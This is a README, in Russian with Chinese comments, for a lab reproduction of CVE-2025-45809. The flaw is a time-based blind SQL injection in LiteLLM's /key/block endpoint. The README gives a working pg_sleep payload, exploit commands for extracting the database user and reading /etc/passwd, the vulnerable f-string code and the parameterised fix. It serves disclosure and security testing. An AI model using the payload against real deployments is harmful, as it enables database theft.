
Код для отдельного воспроизведения уязвимости
/key/block (Time-Based Blind SQLi)LiteLLM v1.65.4 (версии до v1.81.0) — в параметре
keyконечных точек/key/blockи/key/unblockприсутствует уязвимость SQL-инъекции. Злоумышленник может использовать технику time-based blind injection для кражи содержимого базы данных и чтения файлов с сервера.
| Поле | Значение |
|---|---|
| CVE | CVE-2025-45809 |
| GHSA | GHSA-cgmh-xxmq-hp46 |
| CVSS v3.1 | 5.4 (MEDIUM) — AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N |
| CWE | CWE-89 (SQL Injection) |
| Затронутые версии | LiteLLM < 1.81.0 (подтверждено в v1.65.4) |
| Исправлено в | v1.81.0+ (исправление параметризованными запросами) |
| Опубликовано | 2025-07-03 |
| Обнаружил | shadia0 (via Huntr bounty) |
| Ссылки | NVD • Huntr • Snyk |
Конечные точки /key/block и /key/unblock в LiteLLM предназначены для управления блокировкой/разблокировкой API-ключей. При обработке параметра key эти конечные точки напрямую подставляют пользовательский ввод в строку SQL-запроса (с использованием f-string форматирования), не применяя параметризованные запросы, что приводит к уязвимости SQL-инъекции.
| Конечная точка | Метод | Инъекционный параметр |
|---|---|---|
/key/block | POST | key (JSON body) |
/key/unblock | POST | key (JSON body) |
pg_sleep() в PostgreSQL для подтверждения инъекции по разнице во времени ответаpg_read_file() в PostgreSQL# 1. 启动 PostgreSQL + 脆弱版 LiteLLM
docker compose up -d
# 2. 安装依赖
pip install -r requirements.txt
# 3. 确认 SQL 注入(检测 pg_sleep 延时)
python3 exploit/exploit.py --mode check --target http://localhost:4000
Примечание: при первом запуске exploit автоматически вызывает
/key/generateдля создания API-ключа, что заставляет Prisma создать таблицуKeyв базе данных. Это необходимое предусловие для того, чтобы конечная точка/key/blockмогла достичь уязвимого пути SQL-запроса. Если пропустить этот шаг,/key/blockвернёт 401 из-за неинициализированной таблицыKey, и инъекция не сработает.
# 4. 提取数据库当前用户
python3 exploit/exploit.py --mode extract-user --target http://localhost:4000
# 5. 提取 PostgreSQL 版本
python3 exploit/exploit.py --mode extract-version --target http://localhost:4000
# 6. 尝试读取 /etc/passwd
python3 exploit/exploit.py --mode file-read --target http://localhost:4000
# 7. (可选)验证修复版本
docker compose --profile fixed up -d
python3 exploit/exploit.py --mode check --target http://localhost:4001 --fixed
Подтверждение инъекции (--mode check):
======================================================================
[VULNERABLE] CVE-2025-45809 — SQL Injection Confirmation
======================================================================
Target : http://localhost:4000
Endpoint : /key/block
[*] Step 1: Measuring baseline response time...
Baseline: 0.01s (HTTP 401)
[*] Step 2: Testing basic injection (SQL comment)...
Comment test: 0.00s (HTTP 200)
[*] Step 3: Testing pg_sleep(3) injection...
pg_sleep(3): 3.01s (N/A)
[*] Step 4: Testing pg_sleep(5) injection...
pg_sleep(5): 5.01s (N/A)
[*] Analysis:
Baseline time: 0.01s
pg_sleep(3): 3.01s (expected ~3s)
pg_sleep(5): 5.01s (expected ~5s)
[🔥] VULNERABILITY CONFIRMED! pg_sleep() injection successful!
Response increased from 0.01s to 5.01s
Исправленная версия отклоняет инъекцию:
======================================================================
[FIXED] CVE-2025-45809 — SQL Injection Confirmation
======================================================================
Target : http://localhost:4001
Endpoint : /key/block
[*] Step 1: Measuring baseline response time...
Baseline: 0.00s (HTTP 400)
[*] Step 2: Testing basic injection (SQL comment)...
Comment test: 0.00s (HTTP N/A)
[*] Step 3: Testing pg_sleep(3) injection...
pg_sleep(3): 0.00s (N/A)
[*] Step 4: Testing pg_sleep(5) injection...
pg_sleep(5): 0.00s (N/A)
[*] Analysis:
Baseline time: 0.00s
pg_sleep(3): 0.00s (expected ~3s)
pg_sleep(5): 0.00s (expected ~5s)
[+] Fixed version: No time delay detected (expected).
В LiteLLM v1.65.4 логика обработки конечной точки /key/block выглядит примерно так (упрощённо):
# 漏洞代码 (v1.65.4) — 使用 f-string 拼接 SQL
@app.post("/key/block")
async def block_key(key_data: dict, user_api_key_dict=Depends(...)):
key = key_data.get("key", "")
# 直接拼接用户输入到 SQL 查询中!
query = f"UPDATE keys SET blocked=true WHERE key='{key}'"
await database.execute(query)
return {"status": "success"}
Злоумышленник внедряет в параметр key функцию временной задержки PostgreSQL:
' OR (SELECT pg_sleep(5)) IS NULL --
После конкатенации SQL-запрос выглядит так:
UPDATE keys SET blocked=true WHERE key='' OR (SELECT pg_sleep(5)) IS NULL --'
| Сценарий теста | Время ответа | Вывод |
|---|---|---|
| Обычный запрос (key=test) | ~0.01s | Базовое значение |
| pg_sleep(3) | ~3.01s | Инъекция сработала |
| pg_sleep(5) | ~5.01s | Инъекция подтверждена |
LiteLLM v1.65.4 использует Prisma ORM для управления базой данных. Таблица Key создаётся по ленивой стратегии — до первого вызова /key/generate для создания API-ключа таблицы Key в PostgreSQL ещё не существует. Из-за этого проверочный запрос ключа (WHERE key='{input}') в конечной точке /key/block возвращает 401 из-за отсутствия таблицы, так и не доходя до уязвимого пути SQL-кода.
Текущий PoC уже решает эту проблему автоматически: перед отправкой инъекционной payload-нагрузки скрипт exploit сначала вызывает /key/generate для создания API-ключа, обеспечивая готовность таблицы в базе данных.
Примечание: при первом запуске контейнера нужно подождать около 30–60 секунд (установка Prisma CLI + инициализация базы данных); запускайте exploit только после появления в логах строки
Uvicorn running on http://0.0.0.0:4000.
CVE-2025-45809/
├── README.md # This file
├── docker-compose.yml # PostgreSQL + vulnerable/fixed LiteLLM
├── litellm_config.yaml # LiteLLM config with DB connection
├── requirements.txt # Python dependencies
├── litellm-vuln/
│ └── Dockerfile # pip install "litellm[proxy]==1.65.4" + prisma + nodejs
├── exploit/
│ ├── exploit.py # Main exploit script
│ └── payload.py # SQL injection payload builder
├── docs/
│ └── advisory.md
└── screenshots/
└── README.md
Исправлено в v1.81.0: вместо f-string подстановки используются параметризованные запросы (Prepared Statements):
# 修复后 — 使用参数化查询
query = "UPDATE keys SET blocked=true WHERE key=:key"
await database.execute(query, {"key": key}) # 参数安全绑定
keyОтказ от ответственности: Материал предоставлен только в образовательных целях и для авторизованного тестирования безопасности.